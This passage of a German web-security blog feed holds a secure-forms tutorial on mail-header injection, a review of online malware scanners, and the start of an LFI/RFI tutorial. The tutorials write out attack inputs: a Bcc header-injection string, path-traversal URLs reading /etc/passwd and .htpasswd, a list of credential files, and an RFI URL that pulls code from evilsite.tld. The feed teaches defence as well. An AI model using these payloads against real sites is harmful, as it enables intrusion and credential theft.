<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;name&#039;]) &amp;&amp; !empty($_POST[&#039;name&#039;]) &amp;&amp; !is_array($_POST[&#039;name&#039;]))
    echo htmlentities($_POST[&#039;name&#039;]);
?&gt;</code></pre>
<p>Tipp: W&#228;hrend der Entwicklung / w&#228;hrend des Debuggens sollte man immer Fehler- und Warnmeldungen ausgeben lassen. So kann man z.B. error_reporting(E_ALL) verwenden und sp&#228;ter in error_reporting(0) um&#228;ndern.</p>
<h3>Weitere M&#246;glichkeiten</h3>
<p>Eine weitere M&#246;glichkeit bietet der @-Operator. Anstatt htmlentities() verwendet man einfach @htmlentities(). Das gleiche gilt f&#252;r andere Funktionen.</p>
<p>Ansonsten kann man auch das Type Casting nutzen und der Variable einen expliziten Datentyp (in diesem Fall <em>string</em>) zuweisen.</p>
<h2 class="headline">Schutz vor Mail-Header Injection</h2>
<p>E-Mails bestehen genau wie Webseiten aus einem Header und einem Body. Im Header werden bestimmte Daten, wie z.B. die Absender-Adresse und das Datum &#252;bertragen.</p>
<p>Bei einer Mail-Header Injection manipulieren Angreifer (bzw. Spamer oder Spambots) den Mail-Header. Meistens wird dies ausgenutzt, um Spam-Mails zu versenden. Es ist allerdings noch weitaus mehr m&#246;glich.</p>
<p>In PHP gibt es f&#252;r das Versenden von E-Mails die Funktion mail(). Werden ungefilterte Benutzereingaben an diese Funktion &#252;bergeben, ist Mail-Header Injection m&#246;glich, da die mail() Funktion die &#252;bergebenen Parameter ungepr&#252;ft an den Mailserver schickt.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $nachricht = htmlentities($_POST[&#039;text&#039;]);
  $email = htmlentities($_POST[&#039;email&#039;]);
  mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, &#039;From: &#039; . $email);
?&gt;</code></pre>
<p>Da Header-Eintr&#228;ge in E-Mails mit einem Zeilenumbruch voneinander getrennt werden, injizieren Angreifer einen Zeilenumbruch (Hexadezimal: <code>%0A</code>), gefolgt von beliebigen Header-Eintr&#228;gen.</p>
<p>Mit dem CC-Feld bzw. BCC-Feld kann eine Kopie der E-Mail an eine oder mehrere E-Mail Adressen gesendet werden. Diese Felder nutzen Spamer, um Spam-Mails zu versenden (wie am folgenden Beispiel zu sehen ist).</p>
<p>Ein Angreifer / Spamer k&#246;nnte folgenden String im Formular als E-Mail angeben.</p>
<pre class="srccode"><code>absender@example.com%0ABcc:empfaenger1@xy.tld, empfaenger2@xy.tld</code></pre>
<p>Hier wird eine Kopie der E-Mail an <em>empfaenger1@xy.tld</em> und <em>empfaenger2@xy.tld</em> gesendet. Das BCC-Feld erm&#246;glicht eine Blindkopie; die Empf&#228;nger sehen nicht, dass die E-Mail auch an andere Adressen gesendet wurde.</p>
<p>Bei Wikipedia findet man eine Liste von <a href="http://de.wikipedia.org/wiki/Header_%28E-Mail%29#M.C3.B6gliche_Eintr.C3.A4ge_im_Header" target="_blank">m&#246;glichen Header-Eintr&#228;gen</a>.</p>
<p>Wer genau hinschaut wird feststellen, dass der String kein Zeichen enth&#228;lt, welches die Funktion htmlentities() umwandeln w&#252;rde. htmlentities() bietet gegen Mail-Header Injection keinen Schutz! Wir m&#252;ssen eigene Funktionen zur Filterung / Validierung schreiben.</p>
<p>Hierbei sollte man beachten, dass manche Systeme auch andere Zeichen als Zeilenumbruch interpretieren k&#246;nnten (z.B. Carriage Return - <code>%0D</code>).</p>
<p><strong>Wichtig</strong>: F&#252;r einen sicheren Schutz gegen Mail-Header Injection muss <strong>jeder Parameter</strong> der mail() Funktion validiert / gefiltert werden, der Benutzereingaben enth&#228;lt.</p>
<pre class="prettyprint"><code>&lt;?php
  setlocale(LC_ALL, &#039;de_DE&#039;);

  function checkMailParam($val, $type)
  {
    $a  = &#039;/(%0A|\r|%0D|\n|%00|\0|%09|\t)/ims&#039;;
    $b  = &#039;/(cc:|bcc:|from:|to:|reply-to:|subject:|sender:&#039;.
          &#039;|content-type:|content-transfer-encoding:|mime-version:)/ims&#039;;
    $blacklist = ($type != &#039;msg&#039;) ? $a : $b;   

    $val = preg_replace($blacklist, &#039;&#039;, $val); 

    if($type == &#039;mail&#039;)
    {
      if(preg_match(&#039;/^[\w.+-]{1,64}\@[\w.-]{1,255}\.[a-z]{2,6}$/&#039;, $val))
        return true;
    }

    else if($type == &#039;subject&#039;)
    {
      if(preg_match(&#039;/^[[:print:]]{3,}$/&#039;, $val))
        return true;
    }

    else if($type == &#039;msg&#039;)
    {
      if(preg_match(&#039;/^[[:print:][:space:]]{5,}$/&#039;, $val))
        return true;
    }

    else
      return false;
  }

  if(checkMailParam($_POST[&#039;text&#039;], &#039;msg&#039;) &amp;&amp; checkMailParam($_POST[&#039;email&#039;], &#039;mail&#039;))
  {
    $nachricht = htmlentities($_POST[&#039;text&#039;]);
    $email = htmlentities($_POST[&#039;email&#039;]);
    mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, &#039;From: &#039; . $email);
  }
?&gt;</code></pre>
<p>Als erstes nutzen wir die Funktion setlocale(), damit Umlaute, etc. korrekt verarbeitet werden. Dann folgt unsere eigene Funktion checkMailParam(), in der wir die m&#246;glichen Benutzereingaben f&#252;r die mail() Funktion validieren und filtern. Zuerst werden alle Zeichen, die bei einer Mail-Header Injection typisch sind, durch einen leeren String ersetzt. Anschlie&#223;end werden die Daten mit <a href="http://de.wikipedia.org/wiki/Regul%C3%A4rer_Ausdruck" target="_blank">Regul&#228;ren Ausdr&#252;cken</a> &#252;berpr&#252;ft - z.B. ob es sich um eine g&#252;ltige E-Mail Adresse handelt. Ist dies der Fall, wird <em>true</em> zur&#252;ck gegeben.</p>
<p>Diese Funktion nutzen wir anschlie&#223;end in einer if-Abfrage. Erst wenn die Daten validiert und gefiltert wurden, wird die mail() Funktion aufgerufen.</p>
<h2 class="headline">Ausblick auf Teil 2</h2>
<p>Das war es soweit f&#252;r den ersten Teil.</p>
<p>Im zweiten Teil geht es um File Uploads und CAPTCHAs. Zum Schlu&#223; werd ich dann ein fertiges Formular-Script bereitstellen (evtl. sp&#228;ter auch als WP-PlugIn <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ).</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sichere-formulare-teil-2.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 2">Sichere Formulare &#8211; Teil 2</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sichere-formulare-teil-1.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sichere-formulare-teil-1.html/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Online Multi-Engine Malware Scanner</title>
		<link>http://www.web-tuts.de/online-multi-engine-malware-scanner.html</link>
		<comments>http://www.web-tuts.de/online-multi-engine-malware-scanner.html#comments</comments>
		<pubDate>Wed, 16 Dec 2009 22:10:05 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Antiviren]]></category>
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=628</guid>
		<description><![CDATA[Fast jeder Windows-Nutzer hat heutzutage Antiviren-Software installiert.
Bei der Anzahl und Gefahr von aktueller Malware kein Wunder.
Allerdings verlassen sich viele zu sehr auf diese eine Software. Zum einen, weil die Virensignaturen st&#228;ndig aktualisiert werden und zum anderen, weil sie bisher oder seit der Installation der Antiviren-Software keine Malware auf ihrem PC entdeckt haben.
Heruntergeladene Dateien werden vielleicht [...]]]></description>
			<content:encoded><![CDATA[<p>Fast jeder Windows-Nutzer hat heutzutage Antiviren-Software installiert.<br />
Bei der Anzahl und Gefahr von aktueller Malware kein Wunder.</p>
<p>Allerdings verlassen sich viele zu sehr auf diese eine Software. Zum einen, weil die Virensignaturen st&#228;ndig aktualisiert werden und zum anderen, weil sie bisher oder seit der Installation der Antiviren-Software keine Malware auf ihrem PC entdeckt haben.</p>
<p>Heruntergeladene Dateien werden vielleicht einmal kurz gescannt – wenn das Antiviren-Programm keine Meldung ausspruckt, wird die Datei einfach ausgef&#252;hrt. Dabei lassen sich die meisten Scan-Engines sehr leicht <a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html">austricksen</a>.</p>
<p>Bessere Chancen hat man, wenn man zus&#228;tzlich Online Malware Scanner mit Multi-Engines nutzt. So kann man verd&#228;chtige Dateien mit verschiedener Antiviren-Software und aktualisierten Virensignaturen in einem Rutsch kostenlos scannen lassen.</p>
<p>Solche Online-Dienste haben ihre Vorteile, aber auch einige Beschr&#228;nkungen.</p>

<h2 class="headline">Online-Dienste im &#220;berblick</h2>
<h3>VirusTotal</h3>
<p>Einer der bekanntesten Multi-Engine Malware Scanner Dienste ist wohl <a href="http://www.virustotal.com/de/" target="_blank">VirusTotal</a>. Zurzeit kann man dort einzelne Dateien mit <strong>41</strong> Antiviren-Engines analysieren lassen.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Sehr viele Antiviren-Engines</li>
<li>Automatische Updates der Virensignaturen (echtzeit)</li>
<li>Detailierte Ergebnisse</li>
<li>Grafische Statistik der Serverauslastung</li>
<li>Scannen per E-Mail m&#246;glich</li>
<li>SSL Unterst&#252;tzung</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>20 MB Limit</li>
</ul>
<h3>VirScan</h3>
<p>Ein weiterer Dienst ist <a href="http://www.virscan.org/" target="_blank">VirScan</a>. Dort stehen zurzeit <strong>38</strong> Antiviren-Engines zur Verf&#252;gung.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Sehr viele Antiviren-Engines</li>
<li>ZIP und RAR Archive mit bis zu 20 Dateien werden unterst&#252;tzt</li>
<li>Automatische Updates der Virensignaturen</li>
<li>Detailierte Ergebnisse</li>
<li>Grafische Statistik der Serverauslastung</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>20 MB Limit</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h3>NoVirusThanks</h3>
<p>Eine gute Alternative bietet <a href="http://scanner.novirusthanks.org/index.php" target="_blank">NoVirusThanks</a>.<br />
Dort stehen zurzeit <strong>24</strong> Antiviren-Engines zur Verf&#252;gung.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Viele Antiviren-Engines</li>
<li>Automatische Updates der Virensignaturen (alle 6 Stunden)</li>
<li>Detailierte Ergebnisse</li>
<li>Grafische Statistik der Serverauslastung</li>
<li>Option, um das Senden der Datei an die Hersteller zu unterbinden</li>
<li>Es k&#246;nnen Web-Adressen angegeben werden</li>
<li>Binder und SFX Detector (siehe FAQ)</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>20 MB Limit</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h3>Jottis Malwarescanner</h3>
<p>Mit <a href="http://virusscan.jotti.org/de/" target="_blank">Jottis Malwarescanner</a> lassen sich Dateien mit <strong>20</strong> Antiviren-Engines analysieren.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Gute Anzahl an Antiviren-Engines</li>
<li>Automatische Updates der Virensignaturen</li>
<li>Grafische Statistik der Serverauslastung</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>15 MB Limit</li>
<li>Keine detailierten Ergebnisse</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h3>VirusChief</h3>
<p>Zum Schluss noch ein etwas kleiner, aber relativ bekannter Dienst.<br />
Bei <a href="http://www.viruschief.com/" target="_blank">VirusChief</a> werden zurzeit <strong>5</strong> Antiviren-Engines verwendet.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Automatische Updates der Virensignaturen</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>Sehr geringe Anzahl an Antiviren-Engines</li>
<li>Keine detailierten Ergebnisse</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h2 class="headline">Fazit</h2>
<p>Solche Online-Dienste sind sehr n&#252;tzlich, wenn man kleinere Dateien analysieren will. Gr&#246;&#223;ere Dateien sind dagegen nicht geeignet – da sollte man besser zu einer Alternative greifen. Es gibt sicherlich noch mehr solcher Online-Dienste, aber zu den Top-Diensten geh&#246;ren auf jeden Fall VirusTotal, VirScan und NoVirusThanks.</p>
<p>Trotzallem sollte man sich aber niemals auf die Ergebnisse verlassen. Antiviren-Programme geben h&#228;ufig Falschmeldungen aus oder erkennen die Malware einfach nicht. Die Multi-Engine Malware Scanner bieten lediglich einen zus&#228;tzlichen Schutz.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html" rel="bookmark" title="Permanent Link: API Crypting: Antiviren-Programme austricksen">API Crypting: Antiviren-Programme austricksen</a></li><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li><li><a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html" rel="bookmark" title="Permanent Link: 25+ aktuelle Cheat Sheets f&#252;r Webworker">25+ aktuelle Cheat Sheets f&#252;r Webworker</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/online-multi-engine-malware-scanner.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/online-multi-engine-malware-scanner.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Advanced Local und Remote File Inclusion</title>
		<link>http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html</link>
		<comments>http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#comments</comments>
		<pubDate>Tue, 08 Dec 2009 17:34:49 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[RFI]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=473</guid>
		<description><![CDATA[
In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen.
Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.
Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JS und Perl sind von Vorteil, aber nicht zwingend erforderlich.
Zuerst gibt es eine Einf&#252;hrung in das Thema. [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/file_inclusion.jpg" width="300" height="200" alt="File Inclusion" style="border:1px solid #222;" /></div>
<p>In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen.</p>
<p>Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.</p>
<p>Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JS und Perl sind von Vorteil, aber nicht zwingend erforderlich.</p>
<p>Zuerst gibt es eine Einf&#252;hrung in das Thema. Danach werden allgemeine Vorgehensweisen zur Ausnutzung von File Inclusion Sicherheitsl&#252;cken anhand von praktischen Beispielen demonstriert.</p>
<p>Anschlie&#223;end folgen einige fortgeschrittene Techniken, die versierte Angreifer ausnutzen - wie zum Beispiel das Einschleusen von eigenen Code oder die Umgehung von unzureichenden Schutzma&#223;nahmen.</p>

<h2 class="headline">Inhalts-&#220;bersicht</h2>
<p><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#1">Was ist File Inclusion?</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#2">Include Funktionen in PHP</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#3">Wodurch entstehen File Inclusion Sicherheitsl&#252;cken?</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#4">Allgemeine Vorgehensweisen</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#5">Grundlegende Angriffstechniken</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#6">Fortgeschrittene Angriffstechniken</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#7">Gegenma&#223;nahmen</a></p>
<h2 class="headline"><a name="1">Was ist File Inclusion?</a></h2>
<p>File Inclusion beschreibt eine Sicherheitsl&#252;cke in Webanwendungen, die es Angreifern erm&#246;glicht, Dateien (und somit auch Code) in einem Script einzubinden.</p>
<p>Man unterscheidet zwischen Local und Remote File Inclusion. Bei Local File Inclusion lassen sich - im Gegensatz zu Remote File Inclusion -  nur lokale Dateien einbinden.</p>
<p>File Inclusion Sicherheitsl&#252;cken sind allgemein kritisch zu betrachten.</p>
<h3>Local File Inclusion</h3>
<p>Local File Inclusion (kurz: LFI) ist eine Sicherheitsl&#252;cke, mit der Angreifer ausschlie&#223;lich <strong>lokale</strong> Dateien in einem Script einbinden k&#246;nnen.</p>
<p>Dadurch lassen sich beispielsweise Inhalte aus Dateien, welche sich auf dem Server befinden, auslesen. Das k&#246;nnen Passwortdateien, Konfigurationsdateien oder andere Dateien mit sensiblen Informationen sein.</p>
<p>Sollten die eingebundenen Dateien PHP Code oder clientseitigen Code beinhalten, den der Webserver/Browser interpretieren kann, wird dieser ausgef&#252;hrt. Somit lassen sich also auch vorhandene PHP Dateien einbinden und ausf&#252;hren.</p>
<p>Versierte Angreifer k&#246;nnen durch diverse Techniken auch eigenen Code einschleusen, der mithilfe einer LFI Sicherheitsl&#252;cke ausgef&#252;hrt werden kann.</p>
<h3>Remote File Inclusion</h3>
<p>Mit Remote File Inclusion (kurz: RFI) k&#246;nnen Angreifer auch <strong>entfernte</strong> Dateien einbinden, die sich auf anderen Servern befinden. Somit ist es nat&#252;rlich sehr leicht eigenen, beliebigen Code einzuschleusen.</p>
<p>Meistens werden sogenannte Webshells (bzw. PHP Shells) eingebunden, mit denen Angreifer in einem &#252;bersichtlichen Interface s&#228;mtliche Aktionen durchf&#252;hren k&#246;nnen, wie z.B. das Ausf&#252;hren von System-Befehlen oder das Uploaden, Editieren, ... von Dateien.</p>
<p>Remote File Inclusion ist nur m&#246;glich, wenn <em>allow_url_fopen</em> und <em>allow_url_include</em> in der PHP-Konfiguration (php.ini oder httpd.conf) auf <em>On</em> gesetzt sind.</p>
<p>RFI ist allgemein etwas kritischer zu betrachten, da auch unerfahrene Angreifer (sogenannte "Script-Kiddies") problemlos eigenen Code einschleusen k&#246;nnen.</p>
<h2 class="headline"><a name="2">Include Funktionen in PHP</a></h2>
<p>In PHP gibt es mehrere Funktionen, mit denen Dateien in einem Script eingebunden werden k&#246;nnen. Diese Funktionen werden sehr h&#228;ufig von Programmierern verwendet, da sie eine Modularisierung* in Webanwendungen erm&#246;glichen.</p>
<p>* Mit Modularisierung ist die Aufteilung des Source Codes gemeint.</p>
<p>In PHP gibt es folgende Include Funktionen:</p>
<ul>
<li>include</li>
<li>include_once</li>
<li>require</li>
<li>require_once</li>
<li>virtual</li>
</ul>
<h3>include</h3>
<p>Die Funktion include bindet eine &#252;bergebene Datei ein. Wird diese nicht gefunden, wird eine Warnmeldung ausgegeben. Der weitere Code wird ausgef&#252;hrt.</p>
<h3>include_once</h3>
<p>Die Funktion include_once ist identisch mit der Funktion include - mit dem einzigen Unterschied, dass der Code der eingebundenen Datei im Scriptverlauf nur einmal ausgef&#252;hrt wird.</p>
<h3>require</h3>
<p>Die Funktion require macht genau das selbe, wie die Funktion include - allderings mit einem gro&#223;en Unterschied: Wird die &#252;bergebene Datei nicht gefunden, wird ein Fatal Error verursacht und die Ausf&#252;hrung des Scripts wird sofort abgebrochen.</p>
<h3>require_once</h3>
<p>Die Funktion require_once ist identisch mit der Funktion require - der Code wird hier allerdings auch nur einmal im Scriptverlauf ausgef&#252;hrt.</p>
<h3>virtual</h3>
<p>Die Funktion virtual ist etwas anders, als die &#252;blichen Include Funktionen. Sie funktioniert nur, wenn PHP als Apache-Modul installiert wurde.</p>
<p>Sie f&#252;hrt eine Apache-Unteranfrage aus - dies ist zum Beispiel bei CGI-Scripten hilfreich, die vom Apache geparst werden sollen.</p>
<p>Nat&#252;rlich lassen sich hiermit auch PHP Dateien einbinden (und PHP Code ausf&#252;hren).</p>
<p>Im Gegensatz zu anderen Include Funktionen, verh&#228;lt sich diese Funktion bei bestimmten Dateiendungen etwas anders. Bindet man beispielsweise eine .txt-Datei ein, die PHP Code beinhaltet, wird dieser nicht ausgef&#252;hrt. Der PHP Code ist dagegen im Quelltext zu sehen und erm&#246;glicht somit das Auslesen von sensiblen Informationen (File Disclosure).</p>
<h2 class="headline"><a name="3">Wodurch entstehen File Inclusion Sicherheitsl&#252;cken?</a></h2>
<p>File Inclusion Sicherheitsl&#252;cken entstehen, wenn an den genannten Include Funktionen ungefilterte Variablen &#252;bergeben werden, die Benutzereingaben enthalten k&#246;nnen.</p>
<p>In PHP werden Benutzereingaben mittels superglobale Arrays &#252;bergeben. Dazu werden ab Version 4.1.0 meistens folgende superglobale Arrays verwendet:</p>
<ul>
<li>$_GET</li>
<li>$_POST</li>
<li>$_REQUEST</li>
</ul>
<p>Aber auch andere superglobale Arrays k&#246;nnen Benutzereingaben enthalten, wie z.B.:</p>
<ul>
<li>$_COOKIE</li>
<li>$_SESSION</li>
<li>$_SERVER</li>
</ul>
<p>Sollte <em>register_globals</em> auf <em>On</em> gesetzt sein, k&#246;nnen auch andere Variablen davon betroffen sein. In aktuellen PHP Versionen ist <em>register_globals</em> jedoch standardm&#228;&#223;ig auf <em>Off</em> gesetzt.</p>
<h2 class="headline"><a name="4">Allgemeine Vorgehensweisen</a></h2>
<h3>RFI: Einbinden von entfernten Dateien</h3>
<p>Bei RFI k&#246;nnen Angreifer wie gesagt Dateien einbinden, die auf anderen Servern liegen. Dazu geben sie einfach die URL zu der entfernten Datei an.</p>
<p>H&#228;ufig werden Dateien mit der Endung .txt eingebunden, die PHP-Anweisungen beinhalten. Damit ist sichergestellt, dass der PHP Code nicht auf dem Server interpretiert wird, wo die Datei liegt, sondern auf dem Zielsystem.</p>
<h3>LFI: Auslesen von sensiblen Informationen</h3>
<p>Das Ziel von Angreifern ist bei LFI h&#228;ufig das Auslesen von sensiblen Informationen, wie Passw&#246;rter, Konfigurationseinstellungen, etc.</p>
<p>Hier einige Beispiele, die f&#252;r Angreifer unter UNIX-Systemen interessant sein k&#246;nnten:</p>
<ul>
<li>/etc/passwd</li>
<li>/etc/shadow</li>
<li>/etc/group</li>
<li>/etc/security/passwd</li>
<li>/etc/security/group</li>
<li>/etc/security/user</li>
<li>/etc/security/environ</li>
<li>/etc/security/limits</li>
<li>/usr/lib/security/mkuser.default</li>
<li>/etc/httpd/conf/virtualhosts.conf</li>
</ul>
<p>Auch htaccess-Passwortdateien (.htpasswd) sind ein beliebtes Ziel.</p>
<h2 class="headline"><a name="5">Grundlegende Angriffstechniken</a></h2>
<p>Nun kommen die ersten Praxisbeispiele aus die Sicht eines Angreifers.</p>
<p>Anhand von praktischen Beispielen wird hier demonstriert, wie Angreifer File Inclusion Sicherheitsl&#252;cken ausnutzen.</p>
<p><strong>Beispiel 1:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_GET[&#039;file&#039;]))
    include($_GET[&#039;file&#039;]);
?&gt;</code></pre>
<p>Hier k&#246;nnen die Dateien in der URL per GET-Parameter &#252;bergeben werden.</p>
<p>LFI:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/passwd</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/home/www/.passwd</code></pre>
<p>RFI:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt</code></pre>
<p><strong>Beispiel 2:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  $file = $_GET[&#039;file&#039;];

  if(isset($file))
    require(&#039;includes/&#039; . $file);
?&gt;</code></pre>
<p>Auch hier k&#246;nnen die Dateien per GET-Parameter &#252;bergeben werden - in diesem Fall wird allerdings ein Verzeichnis (includes/) vorgegeben.</p>
<p>Nehmen wir an das vorgegebene Verzeichnis includes/ befindet sich unter:</p>
<p><code>/home/inet/www/includes/</code></p>
<p>Haben es Angreifer auf <code>/etc/passwd</code> abgesehen, m&#252;ssen sie sich hier erst einige Verzeichnise mit der Angabe <code>../</code> in der Verzeichnisstruktur nach oben bewegen, um ins Root-Verzeichnis zu gelangen. Denn Dort befindet sich das Verzeichnis <code>etc/</code> in der die <code>passwd</code> Datei liegt.</p>
<p>&#220;bergibt man hier "etc/passwd", erscheint eine Fehlermeldung, da die Datei <code>/home/inet/www/includes/etc/passwd</code> nicht gefunden wurde.</p>
<p>Erfolgreiche Angriffe k&#246;nnten wie folgt aussehen:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../../../../etc/passwd</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=../../../../etc/httpd/conf/virtualhosts.conf</code></pre>
<p>Bei einer .htpasswd in <code>/home/inet/www/.htpasswd</code> muss man sich dagegen nur ein Verzeichnis  in der Verzeichnisstruktur nach oben bewegen, um ins <code>www/</code> Verzeichnis zu gelangen (wo sich die Datei befindet).</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../.htpasswd</code></pre>
<p>RFI ist hier ohne weiteres nicht m&#246;glich, da ein Verzeichnis vorgegeben wird. Selbst wenn man sich in der Verzeichnisstruktur bewegt - man w&#252;rde sich immer in einem lokalen Verzeichnis befinden.</p>
<p><em><strong>Hinweis:</strong></em> Oftmals wissen Angreifer nicht, wieviele Verzeichnisse sie sich nach oben bewegen m&#252;ssen. Um ins Root-Verzeichnis zu gelangen, kann man aber auch einfach zu viele Verzeichnisse nach oben "springen", da sich das Root-Verzeichnis in der Verzeichnisstruktur ganz oben befindet und kein &#252;bergeordnetes Verzeichnis existiert.</p>
<p><strong>Beispiel 3:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  require_once(&#039;lang/&#039; . $_COOKIE[&#039;lang&#039;]);
?&gt;</code></pre>
<p>In diesem Beispiel wird ein Cookie namens "lang" verwendet. Au&#223;erdem wird das Verzeichnis lang/ vorgegeben.</p>
<p>Den Wert eines Cookies kann man u.A. im Browser &#228;ndern - zum Beispiel mit JavaScript:</p>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=test&quot;;void(0);</code></pre>
<p>Nach dem Aufruf sollte das Cookie den Wert "test" haben. Nachpr&#252;fen kann man das ganze ebenfalls mit JavaScript:</p>
<pre class="prettyprint"><code>javascript:alert(document.cookie);</code></pre>
<p>Nehmen wir an das <code>lang/</code> Verzeichnis befindet sich unter:</p>
